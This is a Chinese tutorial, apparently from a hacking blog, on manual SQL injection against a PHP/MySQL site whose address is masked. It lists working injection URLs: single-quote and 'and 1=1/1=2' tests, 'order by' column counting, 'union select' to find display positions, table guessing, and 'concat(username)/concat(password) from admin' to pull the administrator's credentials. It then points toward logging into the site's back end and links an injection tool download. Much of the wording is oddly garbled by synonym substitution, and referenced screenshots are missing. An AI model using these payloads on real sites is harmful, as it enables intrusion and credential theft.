一、php注入和asp注入的异同
Php的注入,目前是没有免费的工具可用的,由于它的注入手腕太灵巧,不像ASP的注入那样遵照一个固定的步骤就可以,以是到现在为止,还没有免费的工具给我们用。
那么,既然没有工具,那我们只好完备手工来了。
不过也不用担心,由于php一样平常都是搭配着mysql来的,以是我们的注入手腕很灵巧,注入的速率不一定会慢于asp中的工具的速率的。
二、php手工注入一样平常流程
1、判断是否可以注入
2、得到字段数
3、得到显示位
4、猜表名
5、猜字段
我这里要演示的网站是:
http://www.xxxxx.cn
如图:
注入点:
http://www.xxxxxxx.cn/viewics.php?id=129
OK,下面一步一步的来操作。
1、判断是否可以注入
在注入点后加一个单引号,回车,如图:
涌现缺点,解释该当是可以注入的。
再来,在注入点后加“+and+1=1”和“+and+1=2”,返回的页面分别为:
这个是正常的,其余一个是:
这个显示空缺页面,解释页面出错了。
以上3点,充分解释此链接是可以注入的。
其余,我说一下,你看到我提交的链接中的“+”,只是起到一个代替空格的浸染,无实意。
第一步完毕,开始第二步。
2、得到字段数
这里我先用ZBSI检测一下,打开ZBSI,把注入点地址粘贴进去,点击“检测注入”,工具提示可以注入,如图:
提示可以注入之后,再点击右边的“字段数目”,如图:
工具提示字段数为2。
如果你也碰着工具这么见告你,说字段数为2的话,那么你就可以直接关掉工具了,由于,工具又出错了,字段数不可能是低于4的。
好了,现在我关掉工具,自己手工来。
这里我说一下,ZBSI是一款php注入的赞助工具,它可以帮助我们判断一个地址是否可以注入,并判断出这个地址的字段数,工具可能没设计好,我用的时候总是出错,不出错的几
率很小。
下载地址:
http://down.xxxxxxxx.com/space/file/tank673116767/share/tools/ZBSI.rar/.page
现在我该自己手工确定字段数了,我用order by的方法来判断。
我提交地址的格式为:
注入点地址+order+by+数值
比如:
http://www.xxxxxx.cn/viewics.php?id=129+order+by+7
如图:
页面显斧正常,解释字段数是大于或即是7的,再提交:
http://www.xxxxxxx.cn/viewics.php?id=129+order+by+8
页面出错,解释字段数不大于也不即是8。
这样一来,字段数是大于即是7而不大于不即是8,这样一推,字段数便是7了。
好了,现在第二步已经完成,开始第三步。
3、得到显示位
提交:
http://www.xxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7
如图:
可以看到,页面上涌现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
这里我要说的是,你查出的字段数是多少,那么就在union select后边写上多少个数字,我这里是7个字段,那么我就写:
1,2,3,4,5,6,7
如果你查到的网站是13个字段,那你就写:
1,2,3,4,5,6,7,8,9,10,11,12,13
这样,以此类推。
得到了显示位之后,我们的第三步进行完毕,开始第四步。
4、猜表名
猜表名的方法是,在第三步的完全的地址后加上:
Form 表名
比如:
http://www.xxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7+from+admin
这样,当admin表存在的话,页面就会显斧正常,如图:
如果我们提交一个不存在的表名,页面就会出错,比如,我提交:
http://www.xxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7+from+user
如图:
我们便是用这种方法,来猜表的。
好了,我现在已经猜到了表名,第四步进行完毕,开始第五步。
5、猜字段
我们猜字段的方法是,利用:
Concat(字段名)
更换显示位的位置。
比如,我提交:
http://www.xxxxxxxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(username),4,5,6,7+from+admin
如图:
我们上边就知道,2、3、4都是显示位,以是更换哪一个都无所谓,我这里更换的是3。
更换3个字符是:
Concat(username)
个中,concat()是一个函数,我们这里不必改变,须要改变的是括号中的字段名字。
如果你的括号中写的字段名在数据库中存在的话,那么页面上就会显示出这个字段中存储的内容,如上图,我猜的username字段在数据库中存在,那么页面上就显示出了这个字段中的内容,也便是我想得到的管理员的用户名。
我再提交:
http://www.xxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(password),4,5,6,7+from+admin
如图:
OK,我们已经得到了管理员的密码,为“adminadmin”。
在实际注入的时候,记住这个格式就行了,由于如果我们在括号中写的字段名在数据库中不存在的话,页面是会出错的,比如,我提交:
http://www.xxxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(adminname),4,5,6,7+from+admin
如图:
以是,我们只须要不断的改变concat的括号中的字段名,直到页面精确为止。
好了,这便是我们要说的php+mysql注入的一样平常基本步骤了,得到了管理员的用户名和密码之后就去找后台登录,这我就不多说了。完毕。